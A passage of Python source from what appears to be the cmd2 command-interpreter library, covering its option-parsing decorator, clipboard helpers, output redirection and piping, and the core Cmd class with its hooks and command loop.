pass a list of argument strings instead of a single argument string to the do_* methods\nUSE_ARG_LIST = True\n\n\ndef set_posix_shlex(val):\n \"\"\" Allows user of cmd2 to choose between POSIX and non-POSIX splitting of args for @options commands.\n\n :param val: bool - True => POSIX, False => Non-POSIX\n \"\"\"\n global POSIX_SHLEX\n POSIX_SHLEX = val\n\n\ndef set_strip_quotes(val):\n \"\"\" Allows user of cmd2 to choose whether to automatically strip outer-quotes when POSIX_SHLEX is False.\n\n :param val: bool - True => strip quotes on args and option args for @option commands if POSIX_SHLEX is False.\n \"\"\"\n global STRIP_QUOTES_FOR_NON_POSIX\n STRIP_QUOTES_FOR_NON_POSIX = val\n\n\ndef set_use_arg_list(val):\n \"\"\" Allows user of cmd2 to choose between passing @options commands an argument string or list of arg strings.\n\n :param val: bool - True => arg is a list of strings, False => arg is a string (for @options commands)\n \"\"\"\n global USE_ARG_LIST\n USE_ARG_LIST = val\n\n\nclass OptionParser(optparse.OptionParser):\n \"\"\"Subclass of optparse.OptionParser which stores a reference to the do_* method it is parsing options for.\n\n Used mostly for getting access to the do_* method's docstring when printing help.\n \"\"\"\n def __init__(self):\n # Call super class constructor. Need to do it in this way for Python 2 and 3 compatibility\n optparse.OptionParser.__init__(self)\n # The do_* method this class is parsing options for. Used for accessing docstring help.\n self._func = None\n\n def exit(self, status=0, msg=None):\n \"\"\"Called at the end of showing help when either -h is used to show help or when bad arguments are provided.\n\n We override exit so it doesn't automatically exit the application.\n \"\"\"\n if self.values is not None:\n self.values._exit = True\n\n if msg:\n print(msg)\n\n def print_help(self, *args, **kwargs):\n \"\"\"Called when optparse encounters either -h or --help or bad arguments. It prints help for options.\n\n We override it so that before the standard optparse help, it prints the do_* method docstring, if available.\n \"\"\"\n if self._func.__doc__:\n print(self._func.__doc__)\n\n optparse.OptionParser.print_help(self, *args, **kwargs)\n\n def error(self, msg):\n \"\"\"error(msg : string)\n\n Print a usage message incorporating 'msg' to stderr and exit.\n If you override this in a subclass, it should not return -- it\n should either exit or raise an exception.\n \"\"\"\n raise optparse.OptParseError(msg)\n\n\ndef remaining_args(opts_plus_args, arg_list):\n \"\"\" Preserves the spacing originally in the arguments after the removal of options.\n\n :param opts_plus_args: str - original argument string, including options\n :param arg_list: List[str] - list of strings containing the non-option arguments\n :return: str - non-option arguments as a single string, with original spacing preserved\n \"\"\"\n pattern = '\\s+'.join(re.escape(a) for a in arg_list) + '\\s*$'\n match_obj = re.search(pattern, opts_plus_args)\n try:\n remaining = opts_plus_args[match_obj.start():]\n except AttributeError:\n # Don't preserve spacing, but at least we don't crash and we do preserve args and their order\n remaining = ' '.join(arg_list)\n\n return remaining\n\n\ndef _which(editor):\n try:\n editor_path = subprocess.check_output(['which', editor], stderr=subprocess.STDOUT).strip()\n if six.PY3:\n editor_path = editor_path.decode()\n except subprocess.CalledProcessError:\n editor_path = None\n return editor_path\n\n\ndef strip_quotes(arg):\n \"\"\" Strip outer quotes from a string.\n\n Applies to both single and double quotes.\n\n :param arg: str - string to strip outer quotes from\n :return str - same string with potentially outer quotes stripped\n \"\"\"\n quote_chars = '\"' + \"'\"\n\n if len(arg) > 1 and arg[0] == arg[-1] and arg[0] in quote_chars:\n arg = arg[1:-1]\n return arg\n\n\ndef options(option_list, arg_desc=\"arg\"):\n \"\"\"Used as a decorator and passed a list of optparse-style options,\n alters a cmd2 method to populate its ``opts`` argument from its\n raw text argument.\n\n Example: transform\n def do_something(self, arg):\n\n into\n @options([make_option('-q', '--quick', action=\"store_true\",\n help=\"Makes things fast\")],\n \"source dest\")\n def do_something(self, arg, opts):\n if opts.quick:\n self.fast_button = True\n \"\"\"\n if not isinstance(option_list, list):\n # If passed a single option instead of a list of options, convert it to a list with one option\n option_list = [option_list]\n\n def option_setup(func):\n \"\"\"Decorator function which modifies on of the do_* methods that use the @options decorator.\n\n :param func: do_* method which uses the @options decorator\n :return: modified version of the do_* method\n \"\"\"\n option_parser = OptionParser()\n for option in option_list:\n option_parser.add_option(option)\n # Allow reasonable help for commands defined with @options and an empty list of options\n if len(option_list) > 0:\n option_parser.set_usage(\"%s [options] %s\" % (func.__name__[3:], arg_desc))\n else:\n option_parser.set_usage(\"%s %s\" % (func.__name__[3:], arg_desc))\n option_parser._func = func\n\n def new_func(instance, arg):\n \"\"\"For @options commands this replaces the actual do_* methods in the instance __dict__.\n\n First it does all of the option/argument parsing. Then it calls the underlying do_* method.\n\n :param instance: cmd2.Cmd2 derived class application instance\n :param arg: str - command-line arguments provided to the command\n :return: bool - returns whatever the result of calling the underlying do_* method would be\n \"\"\"\n try:\n # Use shlex to split the command line into a list of arguments based on shell rules\n opts, new_arglist = option_parser.parse_args(shlex.split(arg, posix=POSIX_SHLEX))\n\n # If not using POSIX shlex, make sure to strip off outer quotes for convenience\n if not POSIX_SHLEX and STRIP_QUOTES_FOR_NON_POSIX:\n temp_arglist = []\n for arg in new_arglist:\n temp_arglist.append(strip_quotes(arg))\n new_arglist = temp_arglist\n\n # Also strip off outer quotes on string option values\n for key, val in opts.__dict__.items():\n if isinstance(val, str):\n opts.__dict__[key] = strip_quotes(val)\n\n # Must find the remaining args in the original argument list, but\n # mustn't include the command itself\n # if hasattr(arg, 'parsed') and new_arglist[0] == arg.parsed.command:\n # new_arglist = new_arglist[1:]\n if USE_ARG_LIST:\n arg = new_arglist\n else:\n new_args = remaining_args(arg, new_arglist)\n if isinstance(arg, ParsedString):\n arg = arg.with_args_replaced(new_args)\n else:\n arg = new_args\n except optparse.OptParseError as e:\n print(e)\n option_parser.print_help()\n return\n if hasattr(opts, '_exit'):\n return None\n result = func(instance, arg, opts)\n return result\n\n new_func.__doc__ = '%s%s' % (func.__doc__ + '\\n' if func.__doc__ else '', option_parser.format_help())\n return new_func\n\n return option_setup\n\n\n# Can we access the clipboard? Should always be true on Windows and Mac, but only sometimes on Linux\n# noinspection PyUnresolvedReferences\ntry:\n # Get the version of the pyperclip module as a float\n pyperclip_ver = float('.'.join(pyperclip.__version__.split('.')[:2]))\n\n # The extraneous output bug in pyperclip on Linux using xclip was fixed in more recent versions of pyperclip\n if sys.platform.startswith('linux') and pyperclip_ver < 1.6:\n # Avoid extraneous output to stderr from xclip when clipboard is empty at cost of overwriting clipboard contents\n pyperclip.copy('')\n else:\n # Try getting the contents of the clipboard\n _ = pyperclip.paste()\nexcept PyperclipException:\n can_clip = False\nelse:\n can_clip = True\n\n\ndef get_paste_buffer():\n \"\"\"Get the contents of the clipboard / paste buffer.\n\n :return: str - contents of the clipboard\n \"\"\"\n pb_str = pyperclip.paste()\n\n # If value returned from the clipboard is unicode and this is Python 2, convert to a \"normal\" Python 2 string first\n if six.PY2 and not isinstance(pb_str, str):\n import unicodedata\n pb_str = unicodedata.normalize('NFKD', pb_str).encode('ascii', 'ignore')\n\n return pb_str\n\n\ndef write_to_paste_buffer(txt):\n \"\"\"Copy text to the clipboard / paste buffer.\n\n :param txt: str - text to copy to the clipboard\n \"\"\"\n pyperclip.copy(txt)\n\n\nclass ParsedString(str):\n \"\"\"Subclass of str which also stores a pyparsing.ParseResults object containing structured parse results.\"\"\"\n # pyarsing.ParseResults - structured parse results, to provide multiple means of access to the parsed data\n parsed = None\n\n # Function which did the parsing\n parser = None\n\n def full_parsed_statement(self):\n \"\"\"Used to reconstruct the full parsed statement when a command isn't recognized.\"\"\"\n new = ParsedString('%s %s' % (self.parsed.command, self.parsed.args))\n new.parsed = self.parsed\n new.parser = self.parser\n return new\n\n def with_args_replaced(self, newargs):\n \"\"\"Used for @options commands when USE_ARG_LIST is False.\n\n It helps figure out what the args are after removing options.\n \"\"\"\n new = ParsedString(newargs)\n new.parsed = self.parsed\n new.parser = self.parser\n new.parsed['args'] = newargs\n new.parsed.statement['args'] = newargs\n return new\n\n\ndef replace_with_file_contents(fname):\n \"\"\"Action to perform when successfully matching parse element definition for inputFrom parser.\n\n :param fname: str - filename\n :return: str - contents of file \"fname\"\n \"\"\"\n try:\n with open(os.path.expanduser(fname[0])) as source_file:\n result = source_file.read()\n except IOError:\n result = '< %s' % fname[0] # wasn't a file after all\n\n # TODO: IF pyparsing input parser logic gets fixed to support empty file, add support to get from paste buffer\n return result\n\n\nclass EmbeddedConsoleExit(SystemExit):\n \"\"\"Custom exception class for use with the py command.\"\"\"\n pass\n\n\nclass EmptyStatement(Exception):\n \"\"\"Custom exception class for handling behavior when the user just presses .\"\"\"\n pass\n\n\n# Regular expression to match ANSI escape codes\nANSI_ESCAPE_RE = re.compile(r'\\x1b[^m]*m')\n\n\ndef strip_ansi(text):\n \"\"\"Strip ANSI escape codes from a string.\n\n :param text: str - a string which may contain ANSI escape codes\n :return: str - the same string with any ANSI escape codes removed\n \"\"\"\n return ANSI_ESCAPE_RE.sub('', text)\n\n\nclass Cmd(cmd.Cmd):\n \"\"\"An easy but powerful framework for writing line-oriented command interpreters.\n\n Extends the Python Standard Library’s cmd package by adding a lot of useful features\n to the out of the box configuration.\n\n Line-oriented command interpreters are often useful for test harnesses, internal tools, and rapid prototypes.\n \"\"\"\n # Attributes used to configure the ParserManager (all are not dynamically settable at runtime)\n blankLinesAllowed = False\n case_insensitive = True # Commands recognized regardless of case\n commentGrammars = pyparsing.Or([pyparsing.pythonStyleComment, pyparsing.cStyleComment])\n commentInProgress = pyparsing.Literal('/*') + pyparsing.SkipTo(pyparsing.stringEnd ^ '*/')\n legalChars = u'!#$%.:?@_-' + pyparsing.alphanums + pyparsing.alphas8bit\n multilineCommands = [] # NOTE: Multiline commands can never be abbreviated, even if abbrev is True\n prefixParser = pyparsing.Empty()\n redirector = '>' # for sending output to file\n shortcuts = {'?': 'help', '!': 'shell', '@': 'load', '@@': '_relative_load'}\n terminators = [';'] # make sure your terminators are not in legalChars!\n\n # Attributes which are NOT dynamically settable at runtime\n allow_cli_args = True # Should arguments passed on the command-line be processed as commands?\n allow_redirection = True # Should output redirection and pipes be allowed\n default_to_shell = False # Attempt to run unrecognized commands as shell commands\n excludeFromHistory = '''run ru r history histor histo hist his hi h edit edi ed e eof eo eos'''.split()\n exclude_from_help = ['do_eof', 'do_eos'] # Commands to exclude from the help menu\n reserved_words = []\n\n # Attributes which ARE dynamically settable at runtime\n abbrev = False # Abbreviated commands recognized\n autorun_on_edit = False # Should files automatically run after editing (doesn't apply to commands)\n colors = (platform.system() != 'Windows')\n continuation_prompt = '> '\n debug = False\n echo = False\n editor = os.environ.get('EDITOR')\n if not editor:\n if sys.platform[:3] == 'win':\n editor = 'notepad'\n else:\n # Favor command-line editors first so we don't leave the terminal to edit\n for editor in ['vim', 'vi', 'emacs', 'nano', 'pico', 'gedit', 'kate', 'subl', 'geany', 'atom']:\n if _which(editor):\n break\n feedback_to_output = False # Do not include nonessentials in >, | output by default (things like timing)\n locals_in_py = True\n quiet = False # Do not suppress nonessential output\n timing = False # Prints elapsed time for each command\n\n # To make an attribute settable with the \"do_set\" command, add it to this ...\n # This starts out as a dictionary but gets converted to an OrderedDict sorted alphabetically by key\n settable = {'abbrev': 'Accept abbreviated commands',\n 'autorun_on_edit': 'Automatically run files after editing',\n 'colors': 'Colorized output (*nix only)',\n 'continuation_prompt': 'On 2nd+ line of input',\n 'debug': 'Show full error stack on error',\n 'echo': 'Echo command issued into output',\n 'editor': 'Program used by ``edit``',\n 'feedback_to_output': 'Include nonessentials in `|`, `>` results',\n 'locals_in_py': 'Allow access to your application in py via self',\n 'prompt': 'The prompt issued to solicit input',\n 'quiet': \"Don't print nonessential feedback\",\n 'timing': 'Report execution times'}\n\n def __init__(self, completekey='tab', stdin=None, stdout=None, use_ipython=False, transcript_files=None):\n \"\"\"An easy but powerful framework for writing line-oriented command interpreters, extends Python's cmd package.\n\n :param completekey: str - (optional) readline name of a completion key, default to Tab\n :param stdin: (optional) alternate input file object, if not specified, sys.stdin is used\n :param stdout: (optional) alternate output file object, if not specified, sys.stdout is used\n :param use_ipython: (optional) should the \"ipy\" command be included for an embedded IPython shell\n :param transcript_files: str - (optional) allows running transcript tests when allow_cli_args is False\n \"\"\"\n # If use_ipython is False, make sure the do_ipy() method doesn't exit\n if not use_ipython:\n try:\n del Cmd.do_ipy\n except AttributeError:\n pass\n\n # Call super class constructor. Need to do it in this way for Python 2 and 3 compatibility\n cmd.Cmd.__init__(self, completekey=completekey, stdin=stdin, stdout=stdout)\n\n self._finalize_app_parameters()\n self.initial_stdout = sys.stdout\n self.history = History()\n self.pystate = {}\n self.keywords = self.reserved_words + [fname[3:] for fname in dir(self) if fname.startswith('do_')]\n self.parser_manager = ParserManager(redirector=self.redirector, terminators=self.terminators,\n multilineCommands=self.multilineCommands,\n legalChars=self.legalChars, commentGrammars=self.commentGrammars,\n commentInProgress=self.commentInProgress,\n case_insensitive=self.case_insensitive,\n blankLinesAllowed=self.blankLinesAllowed, prefixParser=self.prefixParser,\n preparse=self.preparse, postparse=self.postparse, shortcuts=self.shortcuts)\n self._transcript_files = transcript_files\n\n # Used to enable the ability for a Python script to quit the application\n self._should_quit = False\n\n # True if running inside a Python script or interactive console, False otherwise\n self._in_py = False\n\n # Stores results from the last command run to enable usage of results in a Python script or interactive console\n # Built-in commands don't make use of this. It is purely there for user-defined commands and convenience.\n self._last_result = None\n\n # Used to save state during a redirection\n self.kept_state = None\n self.kept_sys = None\n\n # Codes used for exit conditions\n self._STOP_AND_EXIT = True # cmd convention\n\n self._colorcodes = {'bold': {True: '\\x1b[1m', False: '\\x1b[22m'},\n 'cyan': {True: '\\x1b[36m', False: '\\x1b[39m'},\n 'blue': {True: '\\x1b[34m', False: '\\x1b[39m'},\n 'red': {True: '\\x1b[31m', False: '\\x1b[39m'},\n 'magenta': {True: '\\x1b[35m', False: '\\x1b[39m'},\n 'green': {True: '\\x1b[32m', False: '\\x1b[39m'},\n 'underline': {True: '\\x1b[4m', False: '\\x1b[24m'},\n 'yellow': {True: '\\x1b[33m', False: '\\x1b[39m'}}\n\n # Used load command to store the current script dir as a LIFO queue to support _relative_load command\n self._script_dir = []\n\n # Used when piping command output to a shell command\n self.pipe_proc = None\n\n # ----- Methods related to presenting output to the user -----\n\n @property\n def visible_prompt(self):\n \"\"\"Read-only property to get the visible prompt with any ANSI escape codes stripped.\n\n Used by transcript testing to make it easier and more reliable when users are doing things like coloring the\n prompt using ANSI color codes.\n\n :return: str - prompt stripped of any ANSI escape codes\n \"\"\"\n return strip_ansi(self.prompt)\n\n def _finalize_app_parameters(self):\n self.commentGrammars.ignore(pyparsing.quotedString).setParseAction(lambda x: '')\n # noinspection PyUnresolvedReferences\n self.shortcuts = sorted(self.shortcuts.items(), reverse=True)\n\n # Make sure settable parameters are sorted alphabetically by key\n self.settable = collections.OrderedDict(sorted(self.settable.items(), key=lambda t: t[0]))\n\n def poutput(self, msg, end='\\n'):\n \"\"\"Convenient shortcut for self.stdout.write(); by default adds newline to end if not already present.\n\n Also handles BrokenPipeError exceptions for when a commands's output has been piped to another process and\n that process terminates before the cmd2 command is finished executing.\n\n :param msg: str - message to print to current stdout - anything convertible to a str with '{}'.format() is OK\n :param end: str - string appended after the end of the message if not already present, default a newline\n \"\"\"\n if msg is not None and msg != '':\n try:\n msg_str = '{}'.format(msg)\n self.stdout.write(msg_str)\n if not msg_str.endswith(end):\n self.stdout.write(end)\n except BROKEN_PIPE_ERROR:\n # This occurs if a command's output is being piped to another process and that process closes before the\n # command is finished. We intentionally don't print a warning message here since we know that stdout\n # will be restored by the _restore_output() method. If you would like your application to print a\n # warning message, then override this method.\n pass\n\n def perror(self, errmsg, exception_type=None, traceback_war=True):\n \"\"\" Print error message to sys.stderr and if debug is true, print an exception Traceback if one exists.\n\n :param errmsg: str - error message to print out\n :param exception_type: str - (optional) type of exception which precipitated this error message\n :param traceback_war: bool - (optional) if True, print a message to let user know they can enable debug\n :return:\n \"\"\"\n if self.debug:\n traceback.print_exc()\n\n if exception_type is None:\n err = self.colorize(\"ERROR: {}\\n\".format(errmsg), 'red')\n sys.stderr.write(err)\n else:\n err = \"EXCEPTION of type '{}' occurred with message: '{}'\\n\".format(exception_type, errmsg)\n sys.stderr.write(self.colorize(err, 'red'))\n\n if traceback_war:\n war = \"To enable full traceback, run the following command: 'set debug true'\\n\"\n sys.stderr.write(self.colorize(war, 'yellow'))\n\n def pfeedback(self, msg):\n \"\"\"For printing nonessential feedback. Can be silenced with `quiet`.\n Inclusion in redirected output is controlled by `feedback_to_output`.\"\"\"\n if not self.quiet:\n if self.feedback_to_output:\n self.poutput(msg)\n else:\n sys.stderr.write(\"{}\\n\".format(msg))\n\n def colorize(self, val, color):\n \"\"\"Given a string (``val``), returns that string wrapped in UNIX-style\n special characters that turn on (and then off) text color and style.\n If the ``colors`` environment parameter is ``False``, or the application\n is running on Windows, will return ``val`` unchanged.\n ``color`` should be one of the supported strings (or styles):\n red/blue/green/cyan/magenta, bold, underline\"\"\"\n if self.colors and (self.stdout == self.initial_stdout):\n return self._colorcodes[color][True] + val + self._colorcodes[color][False]\n return val\n\n # ----- Methods which override stuff in cmd -----\n\n # noinspection PyMethodOverriding\n def completenames(self, text, line, begidx, endidx):\n \"\"\"Override of cmd2 method which completes command names both for command completion and help.\"\"\"\n command = text\n if self.case_insensitive:\n command = text.lower()\n\n # Call super class method. Need to do it this way for Python 2 and 3 compatibility\n cmd_completion = cmd.Cmd.completenames(self, command)\n\n # If we are completing the initial command name and get exactly 1 result and are at end of line, add a space\n if begidx == 0 and len(cmd_completion) == 1 and endidx == len(line):\n cmd_completion[0] += ' '\n\n return cmd_completion\n\n def precmd(self, statement):\n \"\"\"Hook method executed just before the command is processed by ``onecmd()`` and after adding it to the history.\n\n :param statement: ParsedString - subclass of str which also contains pyparsing ParseResults instance\n :return: ParsedString - a potentially modified version of the input ParsedString statement\n \"\"\"\n return statement\n\n # ----- Methods which are cmd2-specific lifecycle hooks which are not present in cmd -----\n\n # noinspection PyMethodMayBeStatic\n def preparse(self, raw):\n \"\"\"Hook method executed just before the command line is interpreted, but after the input prompt is generated.\n\n :param raw: str - raw command line input\n :return: str - potentially modified raw command line input\n \"\"\"\n return raw\n\n # noinspection PyMethodMayBeStatic\n def postparse(self, parse_result):\n \"\"\"Hook that runs immediately after parsing the command-line but before ``parsed()`` returns a ParsedString.\n\n :param parse_result: pyparsing.ParseResults - parsing results output by the pyparsing parser\n :return: pyparsing.ParseResults - potentially modified ParseResults object\n \"\"\"\n return parse_result\n\n # noinspection PyMethodMayBeStatic\n def postparsing_precmd(self, statement):\n \"\"\"This runs after parsing the command-line, but before anything else; even before adding cmd to history.\n\n NOTE: This runs before precmd() and prior to any potential output redirection or piping.\n\n If you wish to fatally fail this command and exit the application entirely, set stop = True.\n\n If you wish to just fail this command you can do so by raising an exception:\n\n - raise EmptyStatement - will silently fail and do nothing\n - raise - will fail and print an error message\n\n :param statement: - the parsed command-line statement\n :return: (bool, statement) - (stop, statement) containing a potentially modified version of the statement\n \"\"\"\n stop = False\n return stop, statement\n\n # noinspection PyMethodMayBeStatic\n def postparsing_postcmd(self, stop):\n \"\"\"This runs after everything else, including after postcmd().\n\n It even runs when an empty line is entered. Thus, if you need to do something like update the prompt due\n to notifications from a background thread, then this is the method you want to override to do it.\n\n :param stop: bool - True implies the entire application should exit.\n :return: bool - True implies the entire application should exit.\n \"\"\"\n if not sys.platform.startswith('win'):\n # Fix those annoying problems that occur with terminal programs like \"less\" when you pipe to them\n if self.stdin.isatty():\n proc = subprocess.Popen(shlex.split('stty sane'))\n proc.communicate()\n return stop\n\n def parseline(self, line):\n \"\"\"Parse the line into a command name and a string containing the arguments.\n\n NOTE: This is an override of a parent class method. It is only used by other parent class methods. But\n we do need to override it here so that the additional shortcuts present in cmd2 get properly expanded for\n purposes of tab completion.\n\n Used for command tab completion. Returns a tuple containing (command, args, line).\n 'command' and 'args' may be None if the line couldn't be parsed.\n\n :param line: str - line read by readline\n :return: (str, str, str) - tuple containing (command, args, line)\n \"\"\"\n line = line.strip()\n\n if not line:\n # Deal with empty line or all whitespace line\n return None, None, line\n\n # Expand command shortcuts to the full command name\n for (shortcut, expansion) in self.shortcuts:\n if line.startswith(shortcut):\n line = line.replace(shortcut, expansion + ' ', 1)\n break\n\n i, n = 0, len(line)\n while i < n and line[i] in self.identchars:\n i += 1\n command, arg = line[:i], line[i:].strip()\n return command, arg, line\n\n def onecmd_plus_hooks(self, line):\n \"\"\"Top-level function called by cmdloop() to handle parsing a line and running the command and all of its hooks.\n\n :param line: str - line of text read from input\n :return: bool - True if cmdloop() should exit, False otherwise\n \"\"\"\n stop = 0\n try:\n statement = self._complete_statement(line)\n (stop, statement) = self.postparsing_precmd(statement)\n if stop:\n return self.postparsing_postcmd(stop)\n if statement.parsed.command not in self.excludeFromHistory:\n self.history.append(statement.parsed.raw)\n try:\n if self.allow_redirection:\n self._redirect_output(statement)\n timestart = datetime.datetime.now()\n statement = self.precmd(statement)\n stop = self.onecmd(statement)\n stop = self.postcmd(stop, statement)\n if self.timing:\n self.pfeedback('Elapsed: %s' % str(datetime.datetime.now() - timestart))\n finally:\n if self.allow_redirection:\n self._restore_output(statement)\n except EmptyStatement:\n pass\n except ValueError as ex:\n # If shlex.split failed on syntax, let user know whats going on\n self.perror(\"Invalid syntax: {}\".format(ex), traceback_war=False)\n except Exception as ex:\n self.perror(ex, type(ex).__name__)\n finally:\n return self.postparsing_postcmd(stop)\n\n def runcmds_plus_hooks(self, cmds):\n \"\"\"Convenience method to run multiple commands by onecmd_plus_hooks.\n\n This method adds the given cmds to the command queue and processes the\n queue until completion or an error causes it to abort. Scripts that are\n loaded will have their commands added to the queue. Scripts may even\n load other scripts recursively. This means, however, that you should not\n use this method if there is a running cmdloop or some other event-loop.\n This method is only intended to be used in \"one-off\" scenarios.\n\n NOTE: You may need this method even if you only have one command. If\n that command is a load, then you will need this command to fully process\n all the subsequent commands that are loaded from the script file. This\n is an improvement over onecmd_plus_hooks, which expects to be used\n inside of a command loop which does the processing of loaded commands.\n\n Example: cmd_obj.runcmds_plus_hooks(['load myscript.txt'])\n\n :param cmds: list - Command strings suitable for onecmd_plus_hooks.\n :return: bool - True implies the entire application should exit.\n\n \"\"\"\n stop = False\n self.cmdqueue = list(cmds) + self.cmdqueue\n try:\n while self.cmdqueue and not stop:\n stop = self.onecmd_plus_hooks(self.cmdqueue.pop(0))\n finally:\n # Clear out the command queue and script directory stack, just in\n # case we hit an error and they were not completed.\n self.cmdqueue = []\n self._script_dir = []\n # NOTE: placing this return here inside the finally block will\n # swallow exceptions. This is consistent with what is done in\n # onecmd_plus_hooks and _cmdloop, although it may not be\n # necessary/desired here.\n return stop\n\n def _complete_statement(self, line):\n \"\"\"Keep accepting lines of input until the command is complete.\"\"\"\n if not line or (not pyparsing.Or(self.commentGrammars).setParseAction(lambda x: '').transformString(line)):\n raise EmptyStatement()\n statement = self.parser_manager.parsed(line)\n while statement.parsed.multilineCommand and (statement.parsed.terminator == ''):\n statement = '%s\\n%s' % (statement.parsed.raw,\n self.pseudo_raw_input(self.continuation_prompt))\n statement = self.parser_manager.parsed(statement)\n if not statement.parsed.command:\n raise EmptyStatement()\n return statement\n\n def _redirect_output(self, statement):\n \"\"\"Handles output redirection for >, >>, and |.\n\n :param statement: ParsedString - subclass of str which also contains pyparsing ParseResults instance\n \"\"\"\n if statement.parsed.pipeTo:\n self.kept_state = Statekeeper(self, ('stdout',))\n\n # Create a pipe with read and write sides\n read_fd, write_fd = os.pipe()\n\n # Make sure that self.poutput() expects unicode strings in Python 3 and byte strings in Python 2\n write_mode = 'w'\n read_mode = 'r'\n if six.PY2:\n write_mode = 'wb'\n read_mode = 'rb'\n\n # Open each side of the pipe and set stdout accordingly\n # noinspection PyTypeChecker\n self.stdout = io.open(write_fd, write_mode)\n # noinspection PyTypeChecker\n subproc_stdin = io.open(read_fd, read_mode)\n\n # We want Popen to raise an exception if it fails to open the process. Thus we don't set shell to True.\n try:\n self.pipe_proc = subprocess.Popen(shlex.split(statement.parsed.pipeTo), stdin=subproc_stdin)\n except Exception as ex:\n # Restore stdout to what it was and close the pipe\n self.stdout.close()\n subproc_stdin.close()\n self.pipe_proc = None\n self.kept_state.restore()\n self.kept_state = None\n\n # Re-raise the exception\n raise ex\n elif statement.parsed.output:\n if (not statement.parsed.outputTo) and (not can_clip):\n raise EnvironmentError('Cannot redirect to paste buffer; install ``xclip`` and re-run to enable')\n self.kept_state = Statekeeper(self, ('stdout',))\n self.kept_sys = Statekeeper(sys, ('stdout',))\n if statement.parsed.outputTo:\n mode = 'w'\n if statement.parsed.output == 2 * self.redirector:\n mode = 'a'\n sys.stdout = self.stdout = open(os.path.expanduser(statement.parsed.outputTo), mode)\n else:\n sys.stdout = self.stdout = tempfile.TemporaryFile(mode=\"w+\")\n if statement.parsed.output == '>>':\n self.poutput(get_paste_buffer())\n\n def _restore_output(self, statement):\n \"\"\"Handles restoring state after output redirection as well as the actual pipe operation if present.\n\n :param statement: ParsedString - subclass of str which also contains pyparsing ParseResults instance\n \"\"\"\n # If we have redirected output to a file or the clipboard or piped it to a shell command, then restore state\n if self.kept_state is not None:\n # If we redirected output to the clipboard\n if statement.parsed.output and not statement.parsed.outputTo:\n self.stdout.seek(0)\n write_to_paste_buffer(self.stdout.read())\n\n try:\n # Close the file or pipe that stdout was redirected to\n self.stdout.close()\n except BROKEN_PIPE_ERROR:\n pass\n finally:\n # Restore self.stdout\n self.kept_state.restore()\n self.kept_state = None\n\n # If we were piping output to a shell command, then close the subprocess the shell command was running in\n if self.pipe_proc is not None:\n self.pipe_proc.communicate()\n self.pipe_proc = None\n\n # Restore sys.stdout if need be\n if self.kept_sys is not None:\n self.kept_sys.restore()\n self.kept_sys = None\n\n def _func_named(self, arg):\n \"\"\"Gets the method name associated with a given command.\n\n If self.abbrev is False, it is always just looks for do_arg. However, if self.abbrev is True,\n it allows abbreviated command names and looks for any commands which start with do_arg.\n\n :param arg: str - command to look up method name which implements it\n :return: str - method name which implements the given command\n \"\"\"\n result = None\n target = 'do_' + arg\n if target in dir(self):\n result = target\n else:\n if self.abbrev: # accept shortened versions of commands\n funcs = [func for func in self.keywords if func.startswith(arg) and func not in self.multilineCommands]\n if len(funcs) == 1:\n result = 'do_' + funcs[0]\n return result\n\n def onecmd(self, line):\n \"\"\" This executes the actual do_* method for a command.\n\n If the command provided doesn't exist, then it executes _default() instead.\n\n :param line: ParsedString - subclass of string including the pyparsing ParseResults\n :return: bool - a flag indicating whether the interpretation of commands should stop\n \"\"\"\n statement = self.parser_manager.parsed(line)\n funcname = self._func_named(statement.parsed.command)\n if not funcname:\n return self.default(statement)\n try:\n func = getattr(self, funcname)\n except AttributeError:\n return self.default(statement)\n stop = func(statement)\n return stop\n\n def default(self, statement):\n \"\"\"Executed when the command given isn't a recognized command implemented by a do_* method.\n\n :param statement: ParsedString - subclass of string including the pyparsing ParseResults\n :return:\n \"\"\"\n arg = statement.full_parsed_statement()\n if self.default_to_shell:\n result = os.system(arg)\n # If os.system() succeeded, then don't print warning about unknown command\n if not result:\n return\n\n # Print out a message stating this is an unknown command\n self.poutput('*** Unknown syntax: {}\\n'.format(arg))\n\n @staticmethod\n def _surround_ansi_escapes(prompt, start=\"\\x01\", end=\"\\x02\"):\n \"\"\"Overcome bug in GNU Readline in relation to calculation of prompt length in presence of ANSI escape codes.\n\n :param prompt: str - original prompt\n :param start: str - start code to tell GNU Readline about beginning of invisible characters\n :param end: str - end code to tell GNU Readline about end of invisible characters\n :return: str - prompt safe to pass to GNU Readline\n \"\"\"\n # Windows terminals don't use ANSI escape codes and Windows readline isn't based on GNU Readline\n if sys.platform == \"win32\":\n return prompt\n\n escaped = False\n result = \"\"\n\n for c in prompt:\n if c == \"\\x1b\" and not escaped:\n result += start + c\n escaped = True\n elif c.isalpha() and escaped:\n result += c + end\n escaped = False\n else:\n result += c\n\n return result\n\n def pseudo_raw_input(self, prompt):\n \"\"\"\n began life as a copy of cmd's cmdloop; like raw_input but\n\n - accounts for changed stdin, stdout\n - if input is a pipe (instead of a tty), look at self.echo\n to decide whether to print the prompt and the input\n \"\"\"\n\n # Deal with the vagaries of readline and ANSI escape codes\n safe_prompt = self._surround_ansi_escapes(prompt)\n\n if self.use_rawinput:\n try:\n if sys.stdin.isatty():\n line = sm.input(safe_prompt)\n else:\n line = sm.input()\n if self.echo:\n sys.stdout.write('{}{}\\n'.format(safe_prompt, line))\n except EOFError:\n line = 'eof'\n else:\n if self.stdin.isatty():\n # on a tty, print the prompt first, then read the line\n self.poutput(safe_prompt, end='')\n self.stdout.flush()\n line = self.stdin.readline()\n if len(line) == 0:\n line = 'eof'\n else:\n # we are reading from a pipe, read the line to see if there is\n # anything there, if so, then decide whether to print the\n # prompt or not\n line = self.stdin.readline()\n if len(line):\n # we read something, output the prompt and the something\n if self.echo:\n self.poutput('{}{}'.format(safe_prompt, line))\n else:\n line = 'eof'\n return line.strip()\n\n def _cmdloop(self):\n \"\"\"Repeatedly issue a prompt, accept input, parse an initial prefix\n off the received input, and dispatch to action methods, passing them\n the remainder of the line as argument.\n\n This serves the same role as cmd.cmdloop().\n\n :return: bool - True implies the entire application should exit.\n \"\"\"\n # An almost perfect copy from Cmd; however, the pseudo_raw_input portion\n # has been split out so that it can be called separately\n if self.use_rawinput and self.completekey:\n try:\n self.old_completer = readline.get_completer()\n self.old_delims = readline.get_completer_delims()\n readline.set_completer(self.complete)\n # Don't treat \"-\" as a readline delimiter since it is commonly used in filesystem paths\n readline.set_completer_delims(self.old_delims.replace('-', ''))\n readline.parse_and_bind(self.completekey + \": complete\")\n except NameError:\n pass\n stop = None\n try:\n while not stop:\n if self.cmdqueue:\n # Run command out of cmdqueue if nonempty (populated by load command or commands at invocation)\n line = self.cmdqueue.pop(0)\n\n if self.echo and line != 'eos':\n self.poutput('{}{}'.format(self.prompt, line))\n 